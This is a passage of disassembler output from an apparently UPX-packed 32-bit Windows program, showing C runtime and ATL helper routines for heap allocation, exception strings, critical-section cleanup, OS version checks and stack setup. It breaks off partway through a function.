sub_40A98C	proc near		; CODE XREF: UPX0:0040AAFBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_40A99C


loc_40A995:				; CODE XREF: sub_40A98C+19j
		mov	eax, 80070057h
		jmp	short loc_40A9E8
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A98C+7j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A9E6
		cmp	eax, 2Ch
		jnz	short loc_40A995
		push	edi
		xor	edi, edi
		cmp	[esi+24h], edi
		jle	short loc_40A9D0
		push	ebx
		lea	ebx, [esi+20h]


loc_40A9B3:				; CODE XREF: sub_40A98C+41j
		push	edi
		mov	ecx, ebx
		call	sub_40A94B
		movzx	eax, word ptr [eax]
		push	[esp+0Ch+arg_4]
		push	eax
		call	dword_41D2E0	; UnregisterClassA
		inc	edi
		cmp	edi, [esi+24h]
		jl	short loc_40A9B3
		pop	ebx


loc_40A9D0:				; CODE XREF: sub_40A98C+21j
		lea	ecx, [esi+20h]
		call	sub_40A92E
		lea	eax, [esi+4]
		push	eax
		call	dword_41D1C8	; RtlDeleteCriticalSection
		and	dword ptr [esi], 0
		pop	edi


loc_40A9E6:				; CODE XREF: sub_40A98C+14j
		xor	eax, eax


loc_40A9E8:				; CODE XREF: sub_40A98C+Ej
		pop	esi
		retn	8
sub_40A98C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9EC	proc near		; CODE XREF: sub_40AA42+18p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+18h]
		call	sub_401144
		xor	eax, eax
		mov	[esi+30h], eax
		mov	[esi+34h], eax
		mov	[esi+38h], eax
		mov	eax, esi
		pop	esi
		retn
sub_40A9EC	endp

; ---------------------------------------------------------------------------


loc_40AA06:				; CODE XREF: UPX0:0041C8B2j
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	dword_41D1C8	; RtlDeleteCriticalSection
		lea	ecx, [esi+30h]
		pop	esi
		jmp	sub_40A92E

; =============== S U B	R O U T	I N E =======================================



sub_40AA1C	proc near		; CODE XREF: UPX0:0041C865p
		push	esi
		mov	esi, ecx
		call	loc_40A972
		push	esi
		mov	dword ptr [esi], 2Ch
		call	sub_40A90B
		test	eax, eax
		jge	short loc_40AA3E
		mov	byte_42EE8C, 1
		and	dword ptr [esi], 0


loc_40AA3E:				; CODE XREF: sub_40AA1C+16j
		mov	eax, esi
		pop	esi
		retn
sub_40AA1C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_40AA42	proc near		; CODE XREF: UPX0:0041C84Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 98h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		push	esi
		mov	esi, ecx
		call	sub_40A9EC
		mov	eax, 400000h
		push	94h
		mov	[esi+8], eax
		mov	[esi+4], eax
		lea	eax, [ebp+78h+var_98]
		push	0
		push	eax
		mov	dword ptr [esi], 3Ch
		mov	byte ptr [esi+0Ch], 0
		call	sub_40BD40
		add	esp, 0Ch
		lea	eax, [ebp+78h+var_98]
		push	eax
		mov	[ebp+78h+var_98], 94h
		call	dword_41D0C4	; GetVersionExA
		cmp	[ebp+78h+var_88], 2
		jnz	short loc_40AAA6
		cmp	[ebp+78h+var_94], 5
		jb	short loc_40AABE
		jmp	short loc_40AABA
; ---------------------------------------------------------------------------


loc_40AAA6:				; CODE XREF: sub_40AA42+5Aj
		cmp	[ebp+78h+var_88], 1
		jnz	short loc_40AABE
		cmp	[ebp+78h+var_94], 4
		ja	short loc_40AABA
		jnz	short loc_40AABE
		cmp	[ebp+78h+var_90], 0
		jbe	short loc_40AABE


loc_40AABA:				; CODE XREF: sub_40AA42+62j
					; sub_40AA42+6Ej
		mov	byte ptr [esi+0Ch], 1


loc_40AABE:				; CODE XREF: sub_40AA42+60j
					; sub_40AA42+68j ...
		lea	ecx, [esi+18h]
		mov	dword ptr [esi+10h], 800h
		mov	dword ptr [esi+14h], offset dword_41D4B8
		call	sub_401154
		test	eax, eax
		jge	short loc_40AADF
		mov	byte_42EE8C, 1


loc_40AADF:				; CODE XREF: sub_40AA42+94j
		mov	ecx, [ebp+78h+var_4]
		mov	eax, esi
		xor	ecx, ebp
		pop	esi
		call	sub_40AC1C
		add	ebp, 78h
		leave
		retn
sub_40AA42	endp

; ---------------------------------------------------------------------------


loc_40AAF1:				; CODE XREF: UPX0:0041C8BCj
		push	esi
		push	dword_42E350
		mov	esi, ecx
		push	esi
		call	sub_40A98C
		lea	ecx, [esi+20h]
		pop	esi
		jmp	sub_40A92E
; ---------------------------------------------------------------------------


loc_40AB09:				; CODE XREF: UPX0:0041C8C6j
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jz	short loc_40AB49
		push	ebx
		mov	ebx, [esi+8]
		cmp	ebx, [esi+0Ch]
		jnb	short loc_40AB3B
		push	edi


loc_40AB1B:				; CODE XREF: UPX0:0040AB38j
		mov	edi, [ebx]
		test	edi, edi
		jz	short loc_40AB32
		mov	eax, [edi+10h]
		test	eax, eax
		jz	short loc_40AB2E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40AB2E:				; CODE XREF: UPX0:0040AB26j
		and	dword ptr [edi+10h], 0


loc_40AB32:				; CODE XREF: UPX0:0040AB1Fj
		add	ebx, 4
		cmp	ebx, [esi+0Ch]
		jb	short loc_40AB1B
		pop	edi


loc_40AB3B:				; CODE XREF: UPX0:0040AB18j
		lea	eax, [esi+10h]
		push	eax
		call	dword_41D1C8	; RtlDeleteCriticalSection
		and	dword ptr [esi], 0
		pop	ebx


loc_40AB49:				; CODE XREF: UPX0:0040AB0Fj
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB4B	proc near		; CODE XREF: UPX0:0041C87Bp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+10h]
		mov	ecx, edi
		call	sub_401144
		and	dword ptr [esi], 0
		mov	ecx, edi
		mov	dword ptr [esi+4], 400000h
		mov	dword ptr [esi+8], offset dword_427CF8
		mov	dword ptr [esi+0Ch], offset dword_427CF8
		call	sub_401154
		test	eax, eax
		jge	short loc_40AB85
		mov	byte_42EE8C, 1
		jmp	short loc_40AB8B
; ---------------------------------------------------------------------------


loc_40AB85:				; CODE XREF: sub_40AB4B+2Fj
		mov	dword ptr [esi], 28h


loc_40AB8B:				; CODE XREF: sub_40AB4B+38j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40AB4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB90	proc near		; CODE XREF: sub_41889D+121p
		jmp	dword_41D24C
sub_40AB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB96	proc near		; CODE XREF: sub_405A92+Dp
					; sub_4060AE+Bp ...
		push	44h
		mov	eax, offset loc_41BED4
		call	sub_40C46D
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_405138
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_404A7D
		push	offset dword_426E48
		lea	eax, [ebp-50h]
		push	eax
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_40AB96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40ABCE	proc near		; CODE XREF: sub_405446+13p
					; sub_405A07+Fp ...
		push	44h
		mov	eax, offset loc_41BED4
		call	sub_40C46D
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_405138
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_404AC2
		push	offset dword_426E0C
		lea	eax, [ebp-50h]
		push	eax
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_40ABCE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC06	proc near		; CODE XREF: sub_4019F2+5Ap
					; sub_406CDA+37p ...
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		pop	ebp
		jmp	sub_40B45F
sub_40AC06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC11	proc near		; CODE XREF: UPX0:004049BDp
					; UPX0:00404A71p ...
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		pop	ebp
		jmp	sub_40ADC8
sub_40AC11	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC1C	proc near		; CODE XREF: sub_40120D+4Ap
					; sub_4016D2+188p ...
		cmp	ecx, dword_42A034
		jnz	short loc_40AC26
		rep retn
; ---------------------------------------------------------------------------


loc_40AC26:				; CODE XREF: sub_40AC1C+6j
		jmp	sub_40C52F
sub_40AC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC2B	proc near		; CODE XREF: sub_406DD8+F3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_C]
		push	eax
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C9A3
		add	esp, 14h
		pop	ebp
		retn
sub_40AC2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC49	proc near		; CODE XREF: sub_4049E5+Fp
					; sub_4064F7+60p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40ACA0
		cmp	[ebp+arg_0], edi
		jnz	short loc_40AC79


loc_40AC5E:				; CODE XREF: sub_40AC49+33j
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_40AC68:				; CODE XREF: sub_40AC49+46j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40ACA2
; ---------------------------------------------------------------------------


loc_40AC79:				; CODE XREF: sub_40AC49+13j
		cmp	[ebp+arg_8], edi
		jz	short loc_40AC5E
		cmp	[ebp+arg_4], eax
		jnb	short loc_40AC91
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40AC68
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC49+38j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_40CA30
		add	esp, 0Ch


loc_40ACA0:				; CODE XREF: sub_40AC49+Ej
		xor	eax, eax


loc_40ACA2:				; CODE XREF: sub_40AC49+2Ej
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACA6	proc near		; CODE XREF: sub_404A01+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_41D534
		retn
sub_40ACA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACB7	proc near		; CODE XREF: sub_40668D+2Fp
					; sub_406FCF+2Fp ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi], offset	off_41D534
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40ACF6
		push	eax
		call	sub_40BFB0
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_40AEA5
		pop	ecx
		pop	ecx
		mov	[edi+4], eax
		test	eax, eax
		jz	short loc_40ACFA
		push	dword ptr [ebx]
		push	esi
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		jmp	short loc_40ACFA
; ---------------------------------------------------------------------------


loc_40ACF6:				; CODE XREF: sub_40ACB7+17j
		and	dword ptr [edi+4], 0


loc_40ACFA:				; CODE XREF: sub_40ACB7+2Fj
					; sub_40ACB7+3Dj
		mov	dword ptr [edi+8], 1
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_40ACB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD0A	proc near		; CODE XREF: sub_40B444+Cp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [eax], offset	off_41D534
		mov	ecx, [ecx]
		and	dword ptr [eax+8], 0
		mov	[eax+4], ecx
		pop	ebp
		retn	8
sub_40AD0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD27	proc near		; CODE XREF: sub_404B1F+15p
					; sub_407019+7p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D534
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		test	eax, eax
		mov	eax, [ebx+4]
		push	edi
		jz	short loc_40AD78
		test	eax, eax
		jz	short loc_40AD72
		push	eax
		call	sub_40BFB0
		mov	edi, eax
		inc	edi
		push	edi
		call	sub_40AEA5
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_40AD7B
		push	dword ptr [ebx+4]
		push	edi
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		jmp	short loc_40AD7B
; ---------------------------------------------------------------------------


loc_40AD72:				; CODE XREF: sub_40AD27+22j
		and	dword ptr [esi+4], 0
		jmp	short loc_40AD7B
; ---------------------------------------------------------------------------


loc_40AD78:				; CODE XREF: sub_40AD27+1Ej
		mov	[esi+4], eax


loc_40AD7B:				; CODE XREF: sub_40AD27+3Aj
					; sub_40AD27+49j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_40AD27	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AD84	proc near		; CODE XREF: sub_40499C+6j
					; UPX0:004049B0p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41D534
		jz	short locret_40AD99
		push	dword ptr [ecx+4]
		call	sub_40ADC8
		pop	ecx

locret_40AD99:				; CODE XREF: sub_40AD84+Aj
		retn
sub_40AD84	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AD9A	proc near		; DATA XREF: UPX0:0041D4E0o
					; UPX0:0041D538o ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40ADA6
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_40ADA6:				; CODE XREF: sub_40AD9A+5j
		retn
sub_40AD9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADA7	proc near		; DATA XREF: UPX0:off_41D534o

arg_0		= byte ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		call	sub_40AD84
		test	[ebp+arg_0], 1
		jz	short loc_40ADC1
		push	esi
		call	sub_40AC11
		pop	ecx


loc_40ADC1:				; CODE XREF: sub_40ADA7+11j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	4
sub_40ADA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADC8	proc near		; CODE XREF: sub_401000+14p
					; sub_401304+102p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040AE27 SIZE 0000002F BYTES

		push	0Ch
		push	offset dword_4267D8
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40AE50
		cmp	dword_430290, 3
		jnz	short loc_40AE27
		push	4
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_40CFDC
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_40AE07
		push	esi
		push	eax
		call	sub_40D00C
		pop	ecx
		pop	ecx


loc_40AE07:				; CODE XREF: sub_40ADC8+34j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40AE1E
		cmp	[ebp+var_1C], 0
		jnz	short loc_40AE50
		push	[ebp+arg_0]
		jmp	short loc_40AE28
sub_40ADC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE1E	proc near		; CODE XREF: sub_40ADC8+46p
					; DATA XREF: UPX0:004267F0o
		push	4
		call	sub_40CECF
		pop	ecx
		retn
sub_40AE1E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ADC8


loc_40AE27:				; CODE XREF: sub_40ADC8+1Aj
		push	esi


loc_40AE28:				; CODE XREF: sub_40ADC8+54j
		push	0
		push	dword_42E724
		call	dword_41D0CC	; RtlFreeHeap
		test	eax, eax
		jnz	short loc_40AE50
		call	sub_40C862
		mov	esi, eax
		call	dword_41D1D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40C820
		mov	[esi], eax
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADC8+11j
					; sub_40ADC8+4Fj ...
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40ADC8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE56	proc near		; CODE XREF: sub_40AEA5+59p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_4267F8
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_430280
		ja	short loc_40AE93
		push	4
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_40D7BB
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40AE9C


loc_40AE93:				; CODE XREF: sub_40AE56+19j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40AE56	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE9C	proc near		; CODE XREF: sub_40AE56+38p
					; DATA XREF: UPX0:00426810o
		push	4
		call	sub_40CECF
		pop	ecx
		retn
sub_40AE9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEA5	proc near		; CODE XREF: sub_401304+8Ap
					; sub_40A495+4p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	esi, 0FFFFFFE0h
		ja	loc_40AF58
		push	ebx
		push	edi
		mov	edi, dword_41D0D4


loc_40AEBF:				; CODE XREF: sub_40AEA5+9Aj
		cmp	dword_42E724, 0
		jnz	short loc_40AEE0
		call	sub_40DF83
		push	1Eh
		call	sub_40DDD8
		push	0FFh
		call	sub_40DB24
		pop	ecx
		pop	ecx


loc_40AEE0:				; CODE XREF: sub_40AEA5+21j
		mov	eax, dword_430290
		cmp	eax, 1
		jnz	short loc_40AEF8
		test	esi, esi
		jz	short loc_40AEF2
		mov	eax, esi
		jmp	short loc_40AEF5
; ---------------------------------------------------------------------------


loc_40AEF2:				; CODE XREF: sub_40AEA5+47j
		xor	eax, eax
		inc	eax


loc_40AEF5:				; CODE XREF: sub_40AEA5+4Bj
		push	eax
		jmp	short loc_40AF14
; ---------------------------------------------------------------------------


loc_40AEF8:				; CODE XREF: sub_40AEA5+43j
		cmp	eax, 3
		jnz	short loc_40AF08
		push	esi
		call	sub_40AE56
		pop	ecx
		test	eax, eax
		jnz	short loc_40AF1E


loc_40AF08:				; CODE XREF: sub_40AEA5+56j
		test	esi, esi
		jnz	short loc_40AF0D
		inc	esi


loc_40AF0D:				; CODE XREF: sub_40AEA5+65j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi


loc_40AF14:				; CODE XREF: sub_40AEA5+51j
		push	0
		push	dword_42E724
		call	edi ; dword_41D0D4


loc_40AF1E:				; CODE XREF: sub_40AEA5+61j
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40AF52
		push	0Ch
		pop	esi
		cmp	dword_42EBC8, eax
		jz	short loc_40AF44
		push	[ebp+arg_0]
		call	sub_40DFCB
		pop	ecx
		test	eax, eax
		jz	short loc_40AF4B
		mov	esi, [ebp+arg_0]
		jmp	loc_40AEBF
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: sub_40AEA5+88j
		call	sub_40C862
		mov	[eax], esi


loc_40AF4B:				; CODE XREF: sub_40AEA5+95j
		call	sub_40C862
		mov	[eax], esi


loc_40AF52:				; CODE XREF: sub_40AEA5+7Dj
		pop	edi
		mov	eax, ebx
		pop	ebx
		jmp	short loc_40AF6C
; ---------------------------------------------------------------------------


loc_40AF58:				; CODE XREF: sub_40AEA5+Cj
		push	esi
		call	sub_40DFCB
		pop	ecx
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		xor	eax, eax


loc_40AF6C:				; CODE XREF: sub_40AEA5+B1j
		pop	esi
		pop	ebp
		retn
sub_40AEA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF6F	proc near		; CODE XREF: sub_401040+54p

var_54		= byte ptr -54h
var_50		= dword	ptr -50h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_40E000
		mov	[ebp+var_C], esp
		push	1Ch
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+var_C]
		call	dword_41D1B8	; VirtualQuery
		test	eax, eax
		jz	loc_40B049
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_54]
		push	eax
		call	dword_41D1E4	; GetSystemInfo
		mov	edi, [ebp+var_50]
		push	offset aKernel32_dll ; "kernel32.dll"
		xor	esi, esi
		call	dword_41D078	; GetModuleHandleW
		cmp	eax, esi
		jz	short loc_40AFF1
		push	offset aSetthreadstack ; "SetThreadStackGuarantee"
		push	eax
		call	dword_41D0D8	; GetProcAddress
		cmp	eax, esi
		jz	short loc_40AFF1
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	[ebp+var_8], esi
		call	eax
		pop	ecx
		cmp	eax, 1
		jnz	short loc_40AFF1
		cmp	[ebp+var_8], esi
		jbe	short loc_40AFF1
		mov	esi, [ebp+var_8]


loc_40AFF1:				; CODE XREF: sub_40AF6F+59j
					; sub_40AF6F+69j ...
		lea	eax, [edi-1]
		lea	ebx, [esi+edi-1]
		not	eax
		and	ebx, eax
		jz	short loc_40B000
		add	ebx, edi


loc_40B000:				; CODE XREF: sub_40AF6F+8Dj
		lea	eax, [edi+edi]
		cmp	ebx, eax
		jnb	short loc_40B009
		mov	ebx, eax


loc_40B009:				; CODE XREF: sub_40AF6F+96j
		mov	eax, [ebp+var_10]
		lea	esi, [edi-1]
		not	esi
		and	esi, [ebp+var_C]
		add	edi, eax
		sub	esi, ebx
		cmp	esi, edi
		jb	short loc_40B049
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_41D0E8	; VirtualAlloc
		test	eax, eax
		jz	short loc_40B049
		lea	eax, [ebp+var_14]
		push	eax
		push	104h
		push	ebx
		push	esi
		call	dword_41D1E8	; VirtualProtect
		test	eax, eax
		jz	short loc_40B049
		xor	eax, eax
		inc	eax
		jmp	short loc_40B04B
; ---------------------------------------------------------------------------


loc_40B049:				; CODE XREF: sub_40AF6F+31j
					; sub_40AF6F+ABj ...
		xor	eax, eax


loc_40B04B:				; CODE XREF: sub_40AF6F+D8j
		lea	esp, [ebp-60h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_40AF6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B05D	proc near		; CODE XREF: sub_40B106+12p
					; sub_40B353+12p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset dword_426818
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0


loc_40B06D:				; CODE XREF: sub_40B05D+21j
		dec	[ebp+arg_8]
		js	short loc_40B0AC
		mov	ecx, [ebp+arg_0]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+arg_0], ecx
		call	[ebp+arg_C]
		jmp	short loc_40B06D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_40B0A4
		mov	[ebp+var_24], 0
		mov	eax, [ebp+var_24]
		retn
; ---------------------------------------------------------------------------


loc_40B0A4:				; CODE XREF: sub_40B05D+3Aj
		call	sub_40E02B
		mov	esp, [ebp+ms_exc.old_esp]


loc_40B0AC:				; CODE XREF: sub_40B05D+13j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn	10h
sub_40B05D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0BB	proc near		; CODE XREF: sub_401B6E+2Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_426838
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_4]
		mov	eax, esi
		imul	eax, [ebp+arg_8]
		add	[ebp+arg_0], eax
		and	[ebp+ms_exc.disabled], 0


loc_40B0DB:				; CODE XREF: sub_40B0BB+2Ej
		dec	[ebp+arg_8]
		js	short loc_40B0EB
		sub	[ebp+arg_0], esi
		mov	ecx, [ebp+arg_0]
		call	[ebp+arg_C]
		jmp	short loc_40B0DB
; ---------------------------------------------------------------------------


loc_40B0EB:				; CODE XREF: sub_40B0BB+23j
		mov	[ebp+var_1C], 1
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40B106
		call	__SEH_epilog4
		retn	10h
sub_40B0BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B106	proc near		; CODE XREF: sub_40B0BB+3Ep
					; DATA XREF: UPX0:00426850o
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short locret_40B11D
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B05D

locret_40B11D:				; CODE XREF: sub_40B106+4j
		retn
sub_40B106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B11E	proc near		; CODE XREF: sub_40DD8A+17p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_42E3DC, eax
		pop	ebp
		retn
sub_40B11E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B12D	proc near		; CODE XREF: sub_40B255+21j
					; sub_40DDD8+87p ...

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		and	[ebp+var_328], 0
		push	ebx
		push	4Ch
		lea	eax, [ebp+var_324]
		push	0
		push	eax
		call	sub_40BD40
		lea	eax, [ebp+var_328]
		mov	[ebp+var_2D8], eax
		lea	eax, [ebp+var_2D0]
		add	esp, 0Ch
		mov	[ebp+var_2D4], eax
		mov	[ebp+var_220], eax
		mov	[ebp+var_224], ecx
		mov	[ebp+var_228], edx
		mov	[ebp+var_22C], ebx
		mov	[ebp+var_230], esi
		mov	[ebp+var_234], edi
